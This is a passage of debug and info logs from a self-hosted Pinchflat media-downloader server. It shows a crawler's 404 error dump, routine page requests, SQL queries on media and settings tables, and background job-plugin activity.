AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4772.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.oddbox.tech", peer: {{172, 18, 0, 1}, 58566}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "Upgrade", "from" => "gptbot(at)openai.com", "host" => "pinchflat.oddbox.tech", "referer" => "https://pinchflat.oddbox.tech/sources/1/media/3", "upgrade" => "websocket", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.179", "x-forwarded-host" => "pinchflat.oddbox.tech", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "srv1511474", "x-openai-host-hash" => "835649437", "x-real-ip" => "74.7.227.179" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.oddbox.tech", method: "GET", owner: #PID (truncated) 21:05:00.499 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:15.701 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:45.703 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:55.284 [info] GET /sources/1/media/40/edit 21:05:55.285 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "40", "source_id" => "1"} Pipelines: [:browser] 21:05:55.285 [debug] QUERY OK source="media_items" db=0.4ms idle=1664.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [40] 21:05:55.286 [debug] QUERY OK source="settings" db=0.6ms idle=1664.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:55.287 [debug] QUERY OK source="settings" db=0.3ms idle=1665.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:55.288 [debug] QUERY OK source="settings" db=0.3ms idle=1666.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:55.289 [info] Sent 200 in 4ms 21:06:00.500 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:15.706 [info] {"source":"oban","duration":2318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:45.708 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:55.408 [info] GET /sources/1/media/37/edit 21:06:55.408 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "37", "source_id" => "1"} Pipelines: [:browser] 21:06:55.409 [debug] QUERY OK source="media_items" db=0.4ms idle=1787.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [37] 21:06:55.409 [debug] QUERY OK source="settings" db=0.5ms idle=1787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:55.410 [debug] QUERY OK source="settings" db=0.3ms idle=1788.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:55.411 [debug] QUERY OK source="settings" db=0.4ms idle=1750.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:55.412 [info] Sent 200 in 3ms 21:07:00.501 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:07:15.709 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:45.711 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:50.186 [info] GET /sources/1/media/39/edit 21:07:50.186 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "39", "source_id" => "1"} Pipelines: [:browser] 21:07:50.187 [debug] QUERY OK source="media_items" db=0.6ms idle=1429.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [39] 21:07:50.188 [debug] QUERY OK source="settings" db=0.6ms idle=566.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:50.189 [debug] QUERY OK source="settings" db=0.2ms idle=567.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:50.189 [debug] QUERY OK source="settings" db=0.3ms idle=568.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:07:50.190 [info] Sent 200 in 4ms 21:08:00.502 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:08:15.714 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:41.992 [info] GET /sources/1/media/34/edit 21:08:41.992 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "34", "source_id" => "1"} Pipelines: [:browser] 21:08:41.993 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=371.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [34] 21:08:41.994 [debug] QUERY OK source="settings" db=0.2ms idle=372.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.994 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=372.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.995 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=373.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:41.996 [info] Sent 200 in 4ms 21:08:45.716 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.503 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:09:15.718 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:26.057 [info] GET /sources/1/media/36/edit 21:09:26.057 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "36", "source_id" => "1"} Pipelines: [:browser] 21:09:26.058 [debug] QUERY OK source="media_items" db=0.4ms idle=431.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 21:09:26.059 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=432.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.059 [debug] QUERY OK source="settings" db=0.3ms idle=433.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.060 [debug] QUERY OK source="settings" db=0.5ms idle=433.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:09:26.061 [info] Sent 200 in 4ms 21:09:45.720 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.504 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:10:06.222 [info] GET /sources/1/media/33/edit 21:10:06.222 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "33", "source_id" => "1"} Pipelines: [:browser] 21:10:06.224 [debug] QUERY OK source="media_items" db=1.1ms idle=596.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [33] 21:10:06.225 [debug] QUERY OK source="settings" db=0.8ms idle=598.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.226 [debug] QUERY OK source="settings" db=1.2ms idle=599.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.228 [debug] QUERY OK source="settings" db=1.5ms idle=600.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:06.230 [info] Sent 200 in 8ms 21:10:15.722 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:42.333 [info] GET /sources/1/media/38/edit 21:10:42.333 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "38", "source_id" => "1"} Pipelines: [:browser] 21:10:42.335 [debug] QUERY OK source="media_items" db=0.6ms idle=708.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:10:42.336 [debug] QUERY OK source="settings" db=0.3ms idle=709.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:42.336 [debug] QUERY OK source="settings" db=0.6ms idle=709.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:42.337 [debug] QUERY OK source="settings" db=0.5ms idle=710.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:42.339 [info] Sent 200 in 5ms 21:10:45.724 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.505 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:15.456 [info] GET /sources/1/media/35/edit 21:11:15.457 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "35", "source_id" => "1"} Pipelines: [:browser] 21:11:15.458 [debug] QUERY OK source="media_items" db=0.6ms idle=1831.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [35] 21:11:15.459 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1832.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:15.459 [debug] QUERY OK source="settings" db=0.1ms idle=1832.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:15.460 [debug] QUERY OK source="settings" db=0.3ms idle=1278.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:11:15.461 [info] Sent 200 in 4ms 21:11:15.726 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:45.728 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.506 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:12.768 [info] GET /sources/caa12a16-5669-4a73-87cb-677a1e9f753d/feed.xml 21:12:12.768 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "caa12a16-5669-4a73-87cb-677a1e9f753d"} Pipelines: [:maybe_basic_auth] 21:12:12.770 [debug] QUERY OK source="sources" db=0.2ms queue=1.1ms idle=1142.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["caa12a16-5669-4a73-87cb-677a1e9f753d"] 21:12:12.771 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1144.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 21:12:12.771 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1145.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 21:12:12.772 [info] Sent 200 in 3ms 21:12:15.730 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:37.374 [info] GET /media_profiles/new 21:12:37.375 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 21:12:37.375 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1031.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:12:37.376 [debug] QUERY OK source="settings" db=0.2ms idle=748.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:37.376 [debug] QUERY OK source="settings" db=0.2ms idle=749.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:37.377 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=749.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:37.378 [debug] QUERY OK source="settings" db=0.6ms idle=31.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:37.378 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:37.380 [info] Sent 200 in 5ms 21:12:45.732 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:58.941 [info] GET /media_profiles/new 21:12:58.941 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "4"} Pipelines: [:browser] 21:12:58.942 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1313.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [4] 21:12:58.942 [debug] QUERY OK source="settings" db=0.7ms idle=552.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:58.944 [debug] QUERY OK source="settings" db=0.8ms idle=314.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:58.944 [debug] QUERY OK source="settings" db=0.5ms idle=315.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:58.945 [debug] QUERY OK source="settings" db=0.4ms idle=316.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:58.945 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:58.947 [info] Sent 200 in 6ms 21:13:00.512 [info] 